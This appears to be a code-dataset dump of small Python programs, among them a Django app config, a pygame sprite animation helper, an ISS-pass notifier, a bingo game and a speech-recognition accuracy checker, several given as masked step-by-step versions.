{ "blob_id": "0ef172ced411213c0f7daccd632f8d5ec97379c3", "index": 5604, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass EasyTechConfig(AppConfig):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass EasyTechConfig(AppConfig):\n name = 'easy_tech'\n", "step-4": "from django.apps import AppConfig\n\n\nclass EasyTechConfig(AppConfig):\n name = 'easy_tech'\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Import other modules from zelda_utilities.constants import * # Helps establish the current frame for sprite animation/image changing class Animation: def __init__(self): # Animation clock self.next_frame = pygame.time.get_ticks() # Starting frame self.frame = 0 # ~12 frames/sec (1000ms // 12) self.frame_time = 1000 // ANIMATION_RATE def anim_sprite(self): if pygame.time.get_ticks() > self.next_frame: self.frame = (self.frame + 1) % (24 * ANIMATION_RATE) # reset > 20 sec self.next_frame += self.frame_time return self.frame
normal
{ "blob_id": "0b36bf9ac7887101be5503a0edce19e1111e5ca0", "index": 6607, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Animation:\n\n def __init__(self):\n self.next_frame = pygame.time.get_ticks()\n self.frame = 0\n self.frame_time = 1000 // ANIMATION_RATE\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Animation:\n\n def __init__(self):\n self.next_frame = pygame.time.get_ticks()\n self.frame = 0\n self.frame_time = 1000 // ANIMATION_RATE\n\n def anim_sprite(self):\n if pygame.time.get_ticks() > self.next_frame:\n self.frame = (self.frame + 1) % (24 * ANIMATION_RATE)\n self.next_frame += self.frame_time\n return self.frame\n", "step-4": "from zelda_utilities.constants import *\n\n\nclass Animation:\n\n def __init__(self):\n self.next_frame = pygame.time.get_ticks()\n self.frame = 0\n self.frame_time = 1000 // ANIMATION_RATE\n\n def anim_sprite(self):\n if pygame.time.get_ticks() > self.next_frame:\n self.frame = (self.frame + 1) % (24 * ANIMATION_RATE)\n self.next_frame += self.frame_time\n return self.frame\n", "step-5": "# Import other modules\nfrom zelda_utilities.constants import *\n\n\n# Helps establish the current frame for sprite animation/image changing\nclass Animation:\n def __init__(self):\n # Animation clock\n self.next_frame = pygame.time.get_ticks()\n\n # Starting frame\n self.frame = 0\n\n # ~12 frames/sec (1000ms // 12)\n self.frame_time = 1000 // ANIMATION_RATE\n\n def anim_sprite(self):\n if pygame.time.get_ticks() > self.next_frame:\n self.frame = (self.frame + 1) % (24 * ANIMATION_RATE) # reset > 20 sec\n self.next_frame += self.frame_time\n return self.frame\n\n", "step-ids": [ 0, 2, 3, 4, 5 ] }
[ 0, 2, 3, 4, 5 ]
import time import datetime from pushover import init, Client from scraper import * from config import * # Get the current time timeNow = time.strftime("%a %b %d, %I:%M %p").lstrip("0").replace(" 0", " ") # Initialise Pushover for notifications client = Client(user_key, api_token=api_token) # Loop for times of ISS passes and compare to current time def issCheck(): for i in column.keys(): for x in column[i]: if i == 'Date': issNow = x if issNow == timeNow: client.send_message("ISS is over London: " + x, title="ISS") else: break while True: issCheck() time.sleep(10)
normal
{ "blob_id": "a573c6870392024ec2e84571ccb0bad3f5c4033a", "index": 4261, "step-1": "<mask token>\n\n\ndef issCheck():\n for i in column.keys():\n for x in column[i]:\n if i == 'Date':\n issNow = x\n if issNow == timeNow:\n client.send_message('ISS is over London: ' + x, title='ISS'\n )\n else:\n break\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef issCheck():\n for i in column.keys():\n for x in column[i]:\n if i == 'Date':\n issNow = x\n if issNow == timeNow:\n client.send_message('ISS is over London: ' + x, title='ISS'\n )\n else:\n break\n\n\nwhile True:\n issCheck()\n time.sleep(10)\n", "step-3": "<mask token>\ntimeNow = time.strftime('%a %b %d, %I:%M %p').lstrip('0').replace(' 0', ' ')\nclient = Client(user_key, api_token=api_token)\n\n\ndef issCheck():\n for i in column.keys():\n for x in column[i]:\n if i == 'Date':\n issNow = x\n if issNow == timeNow:\n client.send_message('ISS is over London: ' + x, title='ISS'\n )\n else:\n break\n\n\nwhile True:\n issCheck()\n time.sleep(10)\n", "step-4": "import time\nimport datetime\nfrom pushover import init, Client\nfrom scraper import *\nfrom config import *\ntimeNow = time.strftime('%a %b %d, %I:%M %p').lstrip('0').replace(' 0', ' ')\nclient = Client(user_key, api_token=api_token)\n\n\ndef issCheck():\n for i in column.keys():\n for x in column[i]:\n if i == 'Date':\n issNow = x\n if issNow == timeNow:\n client.send_message('ISS is over London: ' + x, title='ISS'\n )\n else:\n break\n\n\nwhile True:\n issCheck()\n time.sleep(10)\n", "step-5": "import time\nimport datetime\nfrom pushover import init, Client\nfrom scraper import *\nfrom config import *\n\n# Get the current time\ntimeNow = time.strftime(\"%a %b %d, %I:%M %p\").lstrip(\"0\").replace(\" 0\", \" \")\n\n# Initialise Pushover for notifications\nclient = Client(user_key, api_token=api_token)\n\n\n# Loop for times of ISS passes and compare to current time\ndef issCheck():\n for i in column.keys():\n for x in column[i]:\n if i == 'Date':\n issNow = x\n if issNow == timeNow:\n client.send_message(\"ISS is over London: \" + x, title=\"ISS\")\n else:\n break\n\n\nwhile True:\n issCheck()\n time.sleep(10)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
#Bingo Game #Anthony Swift #06/05/2019 ''' A simple bingo game. Player is presented with a randomly generated grid of numbers. Player is asked to enter the number called out by the caller, each time a number is called out. A chip ('X') is placed on the grid when the number entered (that has been called) matches a number on the grid. Player wins if they match 5 numbers in a row on the grid (diagonally, vertically or horizontally). The bingo grid is generated in line with standard bingo rules: In the first column (B) - Random numbers are generated between 1 and 15. In the second column (I) - Random numbers are generated between 16 and 30. In the third column (N) - Random numbers are generated between 31 and 45 (with a free chip in the middle). In the fourth column (G) - Random numbers are generated between 46 and 60. In the fifth column (o) - Random numbers are generated between 61 and 75. ''' import random #Welcome player to the game def welcome(): print("\nWelcome to the Bingo Game.") #Initialise the bingo grid def initialise_grid(): grid = [['','','','','' ], ['','','','','' ], ['','','','','' ], ['','','','','' ], ['','','','','' ]] return grid #Randomly generates numbers in the first column (B) of the bingo grid #Ensures the numbers are between 1 and 15 def generate_b_column(grid): b_nums = [] for x in range(0,5): num = random.randint(1,15) while num in b_nums: num = random.randint(1,15) b_nums.append(num) for x in range(0,5): grid[x][0] = b_nums[x] return grid #Randomly generates numbers in the second column (I) of the bingo grid #Ensures the numbers are between 16 and 30 def generate_i_column(grid): i_nums = [] for x in range(0,5): num = random.randint(16,30) while num in i_nums: num = random.randint(16,30) i_nums.append(num) for x in range(0,5): grid[x][1] = i_nums[x] return grid #Randomly generates numbers in the third column (N) of the bingo grid #Ensures the numbers are between 31 and 45 #Places a chip in the middle position of the grid as this is a free move. def generate_n_column(grid): n_nums = [] for x in range(0,5): if x == 2: n_nums.append("X") else: num = random.randint(31,45) while num in n_nums: num = random.randint(31,45) n_nums.append(num) for x in range(0,5): grid[x][2] = n_nums[x] return grid #Randomly generates numbers in the fourth column (G) of the bingo grid #Ensures the numbers are between 46 and 60 def generate_g_column(grid): g_nums = [] for x in range(0,5): num = random.randint(46,60) while num in g_nums: num = random.randint(46,60) g_nums.append(num) for x in range(0,5): grid[x][3] = g_nums[x] return grid #Randomly generates numbers in the fifth column (O) of the bingo grid #Ensures the numbers are between 61 and 75 def generate_o_column(grid): o_nums = [] for x in range(0,5): num = random.randint(61,75) while num in o_nums: num = random.randint(61,75) o_nums.append(num) for x in range(0,5): grid[x][4] = o_nums[x] return grid #Asks player to enter number called by the caller def enter_number_called(): print("\n") num_called = int(input("Please enter the number called: ")) return num_called #If the number entered by player matches a number on the grid #A chip (X) is placed on the grid where the number matches def place_chips(num_called,grid): for x in range(0,5): for y in range(0,5): if grid[x][y] == num_called: grid[x][y] = 'X' return grid #Checks to see if the player has 5 chips (X's) in a row horizontally on the grid #Lets the player know if they have won. def check_horizontal_win(grid, win): for x in range(0,5): if grid[x][0] == 'X' and grid[x][1] == 'X' and grid[x][2] == 'X' and grid[x][3] == 'X' and grid[x][4] == 'X': print("You have won! BINGO!! ") win = True return win #Checks to see if the player has 5 chips (X's) in a row vertically on the grid #Lets the player know if they have won. def check_vertical_win(grid, win): for y in range(0,5): if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X': print("You have won! BINGO!! ") win = True return win #Checks to see if the player has 5 chips (X's) in a row diagonally left on the grid #Lets the player know if they have won. def check_diagonal_left_win(grid, win): if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3][3] == 'X' and grid[4][4] == 'X': print("You have won! BINGO!! ") win = True return win #Checks to see if the player has 5 chips (X's) in a row diagonally right on the grid #Lets the player know if they have won. def check_diagonal_right_win(grid, win): if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3][1] == 'X' and grid[4][0] == 'X': print("You have won! BINGO!! ") win = True return win #Prints the grid def print_grid(grid): print("\n") print("Bingo Board:") print("\n") for x in range(0,5): print(grid[x]) #The main function def main(): win = False welcome() grid = initialise_grid() grid = generate_b_column(grid) grid = generate_i_column(grid) grid = generate_n_column(grid) grid = generate_g_column(grid) grid = generate_o_column(grid) print_grid(grid) while win == False: num_called = enter_number_called() grid = place_chips(num_called,grid) win = check_horizontal_win(grid, win) win = check_vertical_win(grid, win) win = check_diagonal_left_win(grid, win) win = check_diagonal_right_win(grid, win) print_grid(grid) main()
normal
{ "blob_id": "7be62ce45f815c4f4cf32df696cc444f92ac6d5c", "index": 8901, "step-1": "<mask token>\n\n\ndef welcome():\n print('\\nWelcome to the Bingo Game.')\n\n\ndef initialise_grid():\n grid = [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', ''\n ], ['', '', '', '', ''], ['', '', '', '', '']]\n return grid\n\n\ndef generate_b_column(grid):\n b_nums = []\n for x in range(0, 5):\n num = random.randint(1, 15)\n while num in b_nums:\n num = random.randint(1, 15)\n b_nums.append(num)\n for x in range(0, 5):\n grid[x][0] = b_nums[x]\n return grid\n\n\ndef generate_i_column(grid):\n i_nums = []\n for x in range(0, 5):\n num = random.randint(16, 30)\n while num in i_nums:\n num = random.randint(16, 30)\n i_nums.append(num)\n for x in range(0, 5):\n grid[x][1] = i_nums[x]\n return grid\n\n\ndef generate_n_column(grid):\n n_nums = []\n for x in range(0, 5):\n if x == 2:\n n_nums.append('X')\n else:\n num = random.randint(31, 45)\n while num in n_nums:\n num = random.randint(31, 45)\n n_nums.append(num)\n for x in range(0, 5):\n grid[x][2] = n_nums[x]\n return grid\n\n\ndef generate_g_column(grid):\n g_nums = []\n for x in range(0, 5):\n num = random.randint(46, 60)\n while num in g_nums:\n num = random.randint(46, 60)\n g_nums.append(num)\n for x in range(0, 5):\n grid[x][3] = g_nums[x]\n return grid\n\n\ndef generate_o_column(grid):\n o_nums = []\n for x in range(0, 5):\n num = random.randint(61, 75)\n while num in o_nums:\n num = random.randint(61, 75)\n o_nums.append(num)\n for x in range(0, 5):\n grid[x][4] = o_nums[x]\n return grid\n\n\ndef enter_number_called():\n print('\\n')\n num_called = int(input('Please enter the number called: '))\n return num_called\n\n\ndef place_chips(num_called, grid):\n for x in range(0, 5):\n for y in range(0, 5):\n if grid[x][y] == num_called:\n grid[x][y] = 'X'\n return grid\n\n\n<mask token>\n\n\ndef check_vertical_win(grid, win):\n for y in range(0, 5):\n if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y\n ] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_left_win(grid, win):\n if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3\n ][3] == 'X' and grid[4][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_right_win(grid, win):\n if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3\n ][1] == 'X' and grid[4][0] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef print_grid(grid):\n print('\\n')\n print('Bingo Board:')\n print('\\n')\n for x in range(0, 5):\n print(grid[x])\n\n\ndef main():\n win = False\n welcome()\n grid = initialise_grid()\n grid = generate_b_column(grid)\n grid = generate_i_column(grid)\n grid = generate_n_column(grid)\n grid = generate_g_column(grid)\n grid = generate_o_column(grid)\n print_grid(grid)\n while win == False:\n num_called = enter_number_called()\n grid = place_chips(num_called, grid)\n win = check_horizontal_win(grid, win)\n win = check_vertical_win(grid, win)\n win = check_diagonal_left_win(grid, win)\n win = check_diagonal_right_win(grid, win)\n print_grid(grid)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef welcome():\n print('\\nWelcome to the Bingo Game.')\n\n\ndef initialise_grid():\n grid = [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', ''\n ], ['', '', '', '', ''], ['', '', '', '', '']]\n return grid\n\n\ndef generate_b_column(grid):\n b_nums = []\n for x in range(0, 5):\n num = random.randint(1, 15)\n while num in b_nums:\n num = random.randint(1, 15)\n b_nums.append(num)\n for x in range(0, 5):\n grid[x][0] = b_nums[x]\n return grid\n\n\ndef generate_i_column(grid):\n i_nums = []\n for x in range(0, 5):\n num = random.randint(16, 30)\n while num in i_nums:\n num = random.randint(16, 30)\n i_nums.append(num)\n for x in range(0, 5):\n grid[x][1] = i_nums[x]\n return grid\n\n\ndef generate_n_column(grid):\n n_nums = []\n for x in range(0, 5):\n if x == 2:\n n_nums.append('X')\n else:\n num = random.randint(31, 45)\n while num in n_nums:\n num = random.randint(31, 45)\n n_nums.append(num)\n for x in range(0, 5):\n grid[x][2] = n_nums[x]\n return grid\n\n\ndef generate_g_column(grid):\n g_nums = []\n for x in range(0, 5):\n num = random.randint(46, 60)\n while num in g_nums:\n num = random.randint(46, 60)\n g_nums.append(num)\n for x in range(0, 5):\n grid[x][3] = g_nums[x]\n return grid\n\n\ndef generate_o_column(grid):\n o_nums = []\n for x in range(0, 5):\n num = random.randint(61, 75)\n while num in o_nums:\n num = random.randint(61, 75)\n o_nums.append(num)\n for x in range(0, 5):\n grid[x][4] = o_nums[x]\n return grid\n\n\ndef enter_number_called():\n print('\\n')\n num_called = int(input('Please enter the number called: '))\n return num_called\n\n\ndef place_chips(num_called, grid):\n for x in range(0, 5):\n for y in range(0, 5):\n if grid[x][y] == num_called:\n grid[x][y] = 'X'\n return grid\n\n\ndef check_horizontal_win(grid, win):\n for x in range(0, 5):\n if grid[x][0] == 'X' and grid[x][1] == 'X' and grid[x][2\n ] == 'X' and grid[x][3] == 'X' and grid[x][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_vertical_win(grid, win):\n for y in range(0, 5):\n if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y\n ] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_left_win(grid, win):\n if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3\n ][3] == 'X' and grid[4][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_right_win(grid, win):\n if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3\n ][1] == 'X' and grid[4][0] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef print_grid(grid):\n print('\\n')\n print('Bingo Board:')\n print('\\n')\n for x in range(0, 5):\n print(grid[x])\n\n\ndef main():\n win = False\n welcome()\n grid = initialise_grid()\n grid = generate_b_column(grid)\n grid = generate_i_column(grid)\n grid = generate_n_column(grid)\n grid = generate_g_column(grid)\n grid = generate_o_column(grid)\n print_grid(grid)\n while win == False:\n num_called = enter_number_called()\n grid = place_chips(num_called, grid)\n win = check_horizontal_win(grid, win)\n win = check_vertical_win(grid, win)\n win = check_diagonal_left_win(grid, win)\n win = check_diagonal_right_win(grid, win)\n print_grid(grid)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef welcome():\n print('\\nWelcome to the Bingo Game.')\n\n\ndef initialise_grid():\n grid = [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', ''\n ], ['', '', '', '', ''], ['', '', '', '', '']]\n return grid\n\n\ndef generate_b_column(grid):\n b_nums = []\n for x in range(0, 5):\n num = random.randint(1, 15)\n while num in b_nums:\n num = random.randint(1, 15)\n b_nums.append(num)\n for x in range(0, 5):\n grid[x][0] = b_nums[x]\n return grid\n\n\ndef generate_i_column(grid):\n i_nums = []\n for x in range(0, 5):\n num = random.randint(16, 30)\n while num in i_nums:\n num = random.randint(16, 30)\n i_nums.append(num)\n for x in range(0, 5):\n grid[x][1] = i_nums[x]\n return grid\n\n\ndef generate_n_column(grid):\n n_nums = []\n for x in range(0, 5):\n if x == 2:\n n_nums.append('X')\n else:\n num = random.randint(31, 45)\n while num in n_nums:\n num = random.randint(31, 45)\n n_nums.append(num)\n for x in range(0, 5):\n grid[x][2] = n_nums[x]\n return grid\n\n\ndef generate_g_column(grid):\n g_nums = []\n for x in range(0, 5):\n num = random.randint(46, 60)\n while num in g_nums:\n num = random.randint(46, 60)\n g_nums.append(num)\n for x in range(0, 5):\n grid[x][3] = g_nums[x]\n return grid\n\n\ndef generate_o_column(grid):\n o_nums = []\n for x in range(0, 5):\n num = random.randint(61, 75)\n while num in o_nums:\n num = random.randint(61, 75)\n o_nums.append(num)\n for x in range(0, 5):\n grid[x][4] = o_nums[x]\n return grid\n\n\ndef enter_number_called():\n print('\\n')\n num_called = int(input('Please enter the number called: '))\n return num_called\n\n\ndef place_chips(num_called, grid):\n for x in range(0, 5):\n for y in range(0, 5):\n if grid[x][y] == num_called:\n grid[x][y] = 'X'\n return grid\n\n\ndef check_horizontal_win(grid, win):\n for x in range(0, 5):\n if grid[x][0] == 'X' and grid[x][1] == 'X' and grid[x][2\n ] == 'X' and grid[x][3] == 'X' and grid[x][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_vertical_win(grid, win):\n for y in range(0, 5):\n if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y\n ] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_left_win(grid, win):\n if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3\n ][3] == 'X' and grid[4][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_right_win(grid, win):\n if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3\n ][1] == 'X' and grid[4][0] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef print_grid(grid):\n print('\\n')\n print('Bingo Board:')\n print('\\n')\n for x in range(0, 5):\n print(grid[x])\n\n\ndef main():\n win = False\n welcome()\n grid = initialise_grid()\n grid = generate_b_column(grid)\n grid = generate_i_column(grid)\n grid = generate_n_column(grid)\n grid = generate_g_column(grid)\n grid = generate_o_column(grid)\n print_grid(grid)\n while win == False:\n num_called = enter_number_called()\n grid = place_chips(num_called, grid)\n win = check_horizontal_win(grid, win)\n win = check_vertical_win(grid, win)\n win = check_diagonal_left_win(grid, win)\n win = check_diagonal_right_win(grid, win)\n print_grid(grid)\n\n\nmain()\n", "step-4": "<mask token>\nimport random\n\n\ndef welcome():\n print('\\nWelcome to the Bingo Game.')\n\n\ndef initialise_grid():\n grid = [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', ''\n ], ['', '', '', '', ''], ['', '', '', '', '']]\n return grid\n\n\ndef generate_b_column(grid):\n b_nums = []\n for x in range(0, 5):\n num = random.randint(1, 15)\n while num in b_nums:\n num = random.randint(1, 15)\n b_nums.append(num)\n for x in range(0, 5):\n grid[x][0] = b_nums[x]\n return grid\n\n\ndef generate_i_column(grid):\n i_nums = []\n for x in range(0, 5):\n num = random.randint(16, 30)\n while num in i_nums:\n num = random.randint(16, 30)\n i_nums.append(num)\n for x in range(0, 5):\n grid[x][1] = i_nums[x]\n return grid\n\n\ndef generate_n_column(grid):\n n_nums = []\n for x in range(0, 5):\n if x == 2:\n n_nums.append('X')\n else:\n num = random.randint(31, 45)\n while num in n_nums:\n num = random.randint(31, 45)\n n_nums.append(num)\n for x in range(0, 5):\n grid[x][2] = n_nums[x]\n return grid\n\n\ndef generate_g_column(grid):\n g_nums = []\n for x in range(0, 5):\n num = random.randint(46, 60)\n while num in g_nums:\n num = random.randint(46, 60)\n g_nums.append(num)\n for x in range(0, 5):\n grid[x][3] = g_nums[x]\n return grid\n\n\ndef generate_o_column(grid):\n o_nums = []\n for x in range(0, 5):\n num = random.randint(61, 75)\n while num in o_nums:\n num = random.randint(61, 75)\n o_nums.append(num)\n for x in range(0, 5):\n grid[x][4] = o_nums[x]\n return grid\n\n\ndef enter_number_called():\n print('\\n')\n num_called = int(input('Please enter the number called: '))\n return num_called\n\n\ndef place_chips(num_called, grid):\n for x in range(0, 5):\n for y in range(0, 5):\n if grid[x][y] == num_called:\n grid[x][y] = 'X'\n return grid\n\n\ndef check_horizontal_win(grid, win):\n for x in range(0, 5):\n if grid[x][0] == 'X' and grid[x][1] == 'X' and grid[x][2\n ] == 'X' and grid[x][3] == 'X' and grid[x][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_vertical_win(grid, win):\n for y in range(0, 5):\n if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y\n ] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_left_win(grid, win):\n if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3\n ][3] == 'X' and grid[4][4] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef check_diagonal_right_win(grid, win):\n if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3\n ][1] == 'X' and grid[4][0] == 'X':\n print('You have won! BINGO!! ')\n win = True\n return win\n\n\ndef print_grid(grid):\n print('\\n')\n print('Bingo Board:')\n print('\\n')\n for x in range(0, 5):\n print(grid[x])\n\n\ndef main():\n win = False\n welcome()\n grid = initialise_grid()\n grid = generate_b_column(grid)\n grid = generate_i_column(grid)\n grid = generate_n_column(grid)\n grid = generate_g_column(grid)\n grid = generate_o_column(grid)\n print_grid(grid)\n while win == False:\n num_called = enter_number_called()\n grid = place_chips(num_called, grid)\n win = check_horizontal_win(grid, win)\n win = check_vertical_win(grid, win)\n win = check_diagonal_left_win(grid, win)\n win = check_diagonal_right_win(grid, win)\n print_grid(grid)\n\n\nmain()\n", "step-5": "#Bingo Game\r\n#Anthony Swift\r\n#06/05/2019\r\n\r\n'''\r\n\r\nA simple bingo game. Player is presented with a randomly generated grid of numbers.\r\nPlayer is asked to enter the number called out by the caller, each time a number is called out.\r\nA chip ('X') is placed on the grid when the number entered (that has been called) matches a number on the grid.\r\nPlayer wins if they match 5 numbers in a row on the grid (diagonally, vertically or horizontally).\r\n\r\nThe bingo grid is generated in line with standard bingo rules:\r\n In the first column (B) - Random numbers are generated between 1 and 15.\r\n In the second column (I) - Random numbers are generated between 16 and 30.\r\n In the third column (N) - Random numbers are generated between 31 and 45 (with a free chip in the middle).\r\n In the fourth column (G) - Random numbers are generated between 46 and 60.\r\n In the fifth column (o) - Random numbers are generated between 61 and 75.\r\n \r\n'''\r\n\r\n\r\nimport random\r\n\r\n#Welcome player to the game\r\n\r\ndef welcome():\r\n print(\"\\nWelcome to the Bingo Game.\")\r\n\r\n#Initialise the bingo grid\r\n\r\ndef initialise_grid():\r\n\r\n grid = [['','','','','' ],\r\n ['','','','','' ],\r\n ['','','','','' ],\r\n ['','','','','' ],\r\n ['','','','','' ]]\r\n return grid\r\n\r\n#Randomly generates numbers in the first column (B) of the bingo grid\r\n#Ensures the numbers are between 1 and 15\r\n\r\ndef generate_b_column(grid):\r\n \r\n b_nums = []\r\n \r\n for x in range(0,5):\r\n num = random.randint(1,15)\r\n while num in b_nums:\r\n num = random.randint(1,15)\r\n b_nums.append(num)\r\n \r\n for x in range(0,5):\r\n grid[x][0] = b_nums[x]\r\n \r\n return grid\r\n\r\n#Randomly generates numbers in the second column (I) of the bingo grid\r\n#Ensures the numbers are between 16 and 30\r\n\r\ndef generate_i_column(grid):\r\n i_nums = []\r\n \r\n for x in range(0,5):\r\n num = random.randint(16,30)\r\n while num in i_nums:\r\n num = random.randint(16,30)\r\n i_nums.append(num)\r\n \r\n for x in range(0,5):\r\n grid[x][1] = i_nums[x]\r\n \r\n return grid\r\n\r\n#Randomly generates numbers in the third column (N) of the bingo grid\r\n#Ensures the numbers are between 31 and 45\r\n#Places a chip in the middle position of the grid as this is a free move.\r\n\r\ndef generate_n_column(grid):\r\n n_nums = []\r\n \r\n for x in range(0,5):\r\n if x == 2:\r\n n_nums.append(\"X\")\r\n else:\r\n num = random.randint(31,45)\r\n while num in n_nums:\r\n num = random.randint(31,45)\r\n n_nums.append(num)\r\n \r\n for x in range(0,5):\r\n grid[x][2] = n_nums[x]\r\n return grid\r\n \r\n#Randomly generates numbers in the fourth column (G) of the bingo grid\r\n#Ensures the numbers are between 46 and 60\r\n\r\ndef generate_g_column(grid):\r\n g_nums = []\r\n \r\n for x in range(0,5):\r\n num = random.randint(46,60)\r\n while num in g_nums:\r\n num = random.randint(46,60)\r\n g_nums.append(num)\r\n \r\n for x in range(0,5):\r\n grid[x][3] = g_nums[x]\r\n return grid\r\n\r\n#Randomly generates numbers in the fifth column (O) of the bingo grid\r\n#Ensures the numbers are between 61 and 75\r\n\r\ndef generate_o_column(grid):\r\n o_nums = []\r\n \r\n for x in range(0,5):\r\n num = random.randint(61,75)\r\n while num in o_nums:\r\n num = random.randint(61,75)\r\n o_nums.append(num)\r\n \r\n for x in range(0,5):\r\n grid[x][4] = o_nums[x]\r\n return grid\r\n\r\n#Asks player to enter number called by the caller\r\n\r\ndef enter_number_called():\r\n print(\"\\n\")\r\n num_called = int(input(\"Please enter the number called: \"))\r\n return num_called\r\n \r\n#If the number entered by player matches a number on the grid\r\n#A chip (X) is placed on the grid where the number matches\r\n\r\ndef place_chips(num_called,grid):\r\n for x in range(0,5):\r\n for y in range(0,5):\r\n if grid[x][y] == num_called:\r\n grid[x][y] = 'X'\r\n return grid\r\n \r\n#Checks to see if the player has 5 chips (X's) in a row horizontally on the grid\r\n#Lets the player know if they have won.\r\n\r\ndef check_horizontal_win(grid, win):\r\n for x in range(0,5):\r\n if grid[x][0] == 'X' and grid[x][1] == 'X' and grid[x][2] == 'X' and grid[x][3] == 'X' and grid[x][4] == 'X':\r\n print(\"You have won! BINGO!! \")\r\n win = True\r\n return win\r\n\r\n#Checks to see if the player has 5 chips (X's) in a row vertically on the grid\r\n#Lets the player know if they have won.\r\n\r\ndef check_vertical_win(grid, win):\r\n for y in range(0,5):\r\n if grid[0][y] == 'X' and grid[1][y] == 'X' and grid[2][y] == 'X' and grid[3][y] == 'X' and grid[4][y] == 'X':\r\n print(\"You have won! BINGO!! \")\r\n win = True\r\n return win\r\n\r\n#Checks to see if the player has 5 chips (X's) in a row diagonally left on the grid\r\n#Lets the player know if they have won.\r\n\r\ndef check_diagonal_left_win(grid, win):\r\n if grid[0][0] == 'X' and grid[1][1] == 'X' and grid[2][2] == 'X' and grid[3][3] == 'X' and grid[4][4] == 'X':\r\n print(\"You have won! BINGO!! \")\r\n win = True\r\n return win\r\n \r\n#Checks to see if the player has 5 chips (X's) in a row diagonally right on the grid\r\n#Lets the player know if they have won.\r\n\r\ndef check_diagonal_right_win(grid, win):\r\n if grid[0][4] == 'X' and grid[1][3] == 'X' and grid[2][2] == 'X' and grid[3][1] == 'X' and grid[4][0] == 'X':\r\n print(\"You have won! BINGO!! \")\r\n win = True\r\n return win\r\n \r\n#Prints the grid\r\n\r\ndef print_grid(grid):\r\n print(\"\\n\")\r\n print(\"Bingo Board:\")\r\n print(\"\\n\")\r\n for x in range(0,5):\r\n print(grid[x])\r\n\r\n#The main function\r\n \r\ndef main():\r\n win = False\r\n welcome()\r\n grid = initialise_grid()\r\n grid = generate_b_column(grid)\r\n grid = generate_i_column(grid)\r\n grid = generate_n_column(grid)\r\n grid = generate_g_column(grid)\r\n grid = generate_o_column(grid)\r\n print_grid(grid)\r\n while win == False:\r\n num_called = enter_number_called()\r\n grid = place_chips(num_called,grid)\r\n win = check_horizontal_win(grid, win)\r\n win = check_vertical_win(grid, win)\r\n win = check_diagonal_left_win(grid, win)\r\n win = check_diagonal_right_win(grid, win)\r\n print_grid(grid)\r\n \r\n \r\nmain()\r\n\r\n \r\n ", "step-ids": [ 14, 15, 16, 17, 18 ] }
[ 14, 15, 16, 17, 18 ]
import json def main(): with open('./src/test/predictions.json', 'r') as f: data = json.load(f) total = len(data['label']) google = 0 sphinx = 0 for i in range(len(data['label'])): label = data['label'][i] google_entry = data['google'][i] sphinx_entry = data['pocket_sphinx'][i] if google_entry == label: google += 1 if sphinx_entry == label: sphinx += 1 print('Google %d out of %d: %.4f' %(google, total, google/total)) print('Pocket Sphinx %d out of %d: %.4f' %(sphinx, total, sphinx/total)) if __name__ == "__main__": main()
normal
